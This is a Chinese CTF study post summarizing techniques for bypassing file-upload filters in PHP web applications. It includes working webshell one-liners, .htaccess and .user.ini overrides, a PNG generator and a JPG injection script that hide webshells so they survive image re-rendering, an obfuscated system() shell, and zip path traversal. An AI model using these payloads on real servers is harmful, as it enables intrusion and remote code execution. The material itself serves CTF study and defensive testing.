ctf 文件上传总结

前端绕过

正常上传文件,捉取数据包修改

后端绕过

服务器端检测的绕过

windows特性

windows对文件名自动去掉点 空格 ::$DATA(这个是ntfs的特性)

利用这个特性绕过黑名单限制

函数特性

move_uploaded_file函数会自动去除文件名末尾的点 和 /.

fopen函数特性

<?php
$filename='1.php/.';
$content="<?php eval($_POST[1]);?>";
$f = fopen($filename, 'w');
    fwrite($f, $content);
    fclose($f);    
?> 
#会在当前目录生成1.php,文件名为1.php.也可以
其它

后缀名大小写

后缀名双写

尝试php3 phtml php3457(linux+apache+php5.6)等后缀

检测MIME类型的,捉包改MIME类型

覆盖配置

.user.ini

上传.user.ini文件覆盖php.ini文件配置

使用auto_prepend_file与auto_append_file在所有php页面的顶部与底部require文件
auto_prepend_file=1.png #与.user.ini配置文件同目录的php文件都会在顶部require('1.png')
.htaccess

上传.htaccess文件覆盖apache文件配置

AddType application/x-httpd-php .php .phtml .php3 .png #把png文件当作php文件解析
AddHandler php5-script php  #当文件名中出现php关键字时,文件中的内容会被当中代码执行
<FilesMatch "ajest">
  SetHandler application/x-httpd-php
</FilesMatch>  #匹配文件名,当文件名为ajest时,里面的代码会被执行

条件竞争

对上传的文件处理出现逻辑问题

比如上传的文件先移动再对检测不通过的文件删除

数组绕过

上传文件的名称分割成数组再进行检测,检测完成后再进行名称拼接

利用检测和拼接直接存在的逻辑漏洞,进行绕过

二次渲染

上传的图片马经过二次渲染后代码被过滤掉

GIF绕过

对比上传后的GIF图片和未上传的GIF图片之间未变化的部分,在未变化的部分写入一句话

png绕过
<?php
/*<?$_GET[0]($_POST[1]);?>*/
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');
?>

安装gd库

sudo apt-get update
sudo apt-get install php-gd #脚本运行需要gd库

运行脚本

php 脚本名  #生成图片内含代码<?$_GET[0]($_POST[1]);?>
jpg绕过
<?php
	/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
	die('php-gd is not installed');
}

if(!isset($argv[1])) {
	die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
	$nullbytePayloadSize = $pad;
	$dis = new DataInputStream($argv[1]);
	$outStream = file_get_contents($argv[1]);
	$extraBytes = 0;
	$correctImage = TRUE;

	if($dis->readShort() != 0xFFD8) {
		die('Incorrect SOI marker');
	}

	while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
		$marker = $dis->readByte();
		$size = $dis->readShort() - 2;
		$dis->skip($size);
		if($marker === 0xDA) {
			$startPos = $dis->seek();
			$outStreamTmp = 
				substr($outStream, 0, $startPos) . 
				$miniPayload . 
				str_repeat("\0",$nullbytePayloadSize) . 
				substr($outStream, $startPos);
			checkImage('_'.$argv[1], $outStreamTmp, TRUE);
			if($extraBytes !== 0) {
				while((!$dis->eof())) {
					if($dis->readByte() === 0xFF) {
						if($dis->readByte !== 0x00) {
							break;
						}
					}
				}
				$stopPos = $dis->seek() - 2;
				$imageStreamSize = $stopPos - $startPos;
				$outStream = 
					substr($outStream, 0, $startPos) . 
					$miniPayload . 
					substr(
						str_repeat("\0",$nullbytePayloadSize).
							substr($outStream, $startPos, $imageStreamSize),
						0,
						$nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
							substr($outStream, $stopPos);
			} elseif($correctImage) {
				$outStream = $outStreamTmp;
			} else {
				break;
			}
			if(checkImage('payload_'.$argv[1], $outStream)) {
				die('Success!');
			} else {
				break;
			}
		}
	}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
	global $correctImage;
	file_put_contents($filename, $data);
	$correctImage = TRUE;
	imagecreatefromjpeg($filename);
	if($unlink)
		unlink($filename);
	return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
	global $extraBytes, $correctImage;
	$correctImage = FALSE;
	if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
		if(isset($m[1])) {
			$extraBytes = (int)$m[1];
		}
	}
}

class DataInputStream {
	private $binData;
	private $order;
	private $size;

	public function __construct($filename, $order = false, $fromString = false) {
		$this->binData = '';
		$this->order = $order;
		if(!$fromString) {
			if(!file_exists($filename) || !is_file($filename))
				die('File not exists ['.$filename.']');
			$this->binData = file_get_contents($filename);
		} else {
			$this->binData = $filename;
		}
		$this->size = strlen($this->binData);
	}

	public function seek() {
		return ($this->size - strlen($this->binData));
	}

	public function skip($skip) {
		$this->binData = substr($this->binData, $skip);
	}

	public function readByte() {
		if($this->eof()) {
			die('End Of File');
		}
		$byte = substr($this->binData, 0, 1);
		$this->binData = substr($this->binData, 1);
		return ord($byte);
	}

	public function readShort() {
		if(strlen($this->binData) < 2) {
			die('End Of File');
		}
		$short = substr($this->binData, 0, 2);
		$this->binData = substr($this->binData, 2);
		if($this->order) {
			$short = (ord($short[1]) << 8) + ord($short[0]);
		} else {
			$short = (ord($short[0]) << 8) + ord($short[1]);
		}
		return $short;
	}

	public function eof() {
		return !$this->binData||(strlen($this->binData) === 0);
	}
}
?>

用法:

先上传一张jpg图片,并把上传的图片下载到本地
php 脚本名 下载到本地的图片名 

可参考:https://www.cnblogs.com/forforever/p/13191999.html

压缩包上传

tar上传

先留着吧

zip上传

当WEB服务器对压缩包直接解压时,可以上传zip文件getshell

把1234.php压缩为shell.zip

010把zip中的1234.php换成…/1.php(1234四个字符对应…/1四个字符,可以随意更改)

上传即可在zip上一级目录生成1.php文件

文件头检测

getimagesize

getimagesize函数检测图片大小的同时检测目标文件是否是一张图片,去读取头几个字符串是不是符合图片的要求

更改数据包修改函数检测到的图片大小

#define width 1337 
#define height 1337 #放在文件头,但是如此无法绕过检测,水平有限,待探究吧

制作图片马绕过检测:

copy smile.jpg/b+info.php/a smile_info.jpg
文件头(16进制转ascii码)加上一句话
图片详细信息中加入一句话
exif_imagetype

exif_imagetype函数读取一个图像的第一个字节并检查其签名

制作图片马绕过

文件内容检测

检测文件的内容

PHP标签

php其它写法绕过检测php关键字

1309874-20200405195355537-30467937

第二种写法php7无法执行

php5可以执行

免杀绕过

初级免杀:

<?php 
    $poc="s#y#s#t#e#m"; 
    $poc_1=explode("#",$poc); 
    $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
    $poc_2($_REQUEST['1']);
?>

上传.user.ini包含日志文件,一句话写入日志文件

上传.user.ini包含session文件配合条件竞争

漏洞

这里只统计漏洞

00截断
条件:
php版本小于5.3.4
关闭magic_quotes_gpc
Apache多后缀解析漏洞

该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞,尤其是使用module模式与php结合的所有版本

如果运维人员给.php后缀增加了处理器:AddHandler application/x-httpd-php .php。那么,在有多个后缀的情况下,只要一个文件名中包含有.php后缀,将会被识别成PHP文件,没必要是最后一个后缀

IIS6.0解析漏洞

IIS默认解析后缀有.asa .cdx .cer

IIS6.0版本存在解析漏洞

CGI解析漏洞

利用条件:
开启cgi.fix_pathinfo

IIS7.0/7.5+php环境
Nginx CGI
Nginx 空字节漏洞
影响版本:0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37
CVE-2013-4745
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
CVE-2017-15715
影响版本:apache2.40~2.4.29

部分利用可参考:https://www.2cto.com/Article/201309/240797.html

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CTF(Capture The Flag)是一种网络安全竞赛,其中包含多个与网络安全相关的题目,玩家需要通过解决这些题目来获取各种FLAG。在CTF比赛中,文件上传和解压缩是常见的题型之一。 文件上传和解压缩也是Web开发中常见的功能之一。在CTF比赛中,通常会出现一个具有文件上传功能的网站,目标是实现绕过网站的安全限制,上传一个恶意的zip文件。 要成功上传一个恶意的zip文件,需要对网站进行渗透测试,找到相应的漏洞。常见的漏洞包括文件类型验证不严格、上传路径没有限制等。渗透测试者可以通过修改file的Content-Type参数,将其伪装成zip文件,从而绕过文件类型验证。此外,还可以通过畸形的文件名、路径进行绕过。 成功上传恶意的zip文件后,需要进行解压缩,通常会将zip文件中的内容解压到服务器的指定路径。解压缩操作也可能存在漏洞,例如在解压缩时未对文件名进行过滤、解压缩路径的限制不严格等。渗透测试者可以通过构造恶意的zip文件,来绕过相关的限制,以实现对服务器的攻击。 为了防止这种情况发生,在进行文件上传时,应该进行严格的文件类型验证,确保只有允许的文件类型才能被上传。同时,应该对上传路径和解压缩路径进行限制,避免恶意文件对服务器造成损害。 CTF比赛中的文件上传和解压缩相关题目,旨在考察参赛者对文件上传和解压缩功能的理解,以及对常见漏洞的识别和利用能力。通过解决这些题目,参赛者可以提高自己的网络安全知识和技能。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值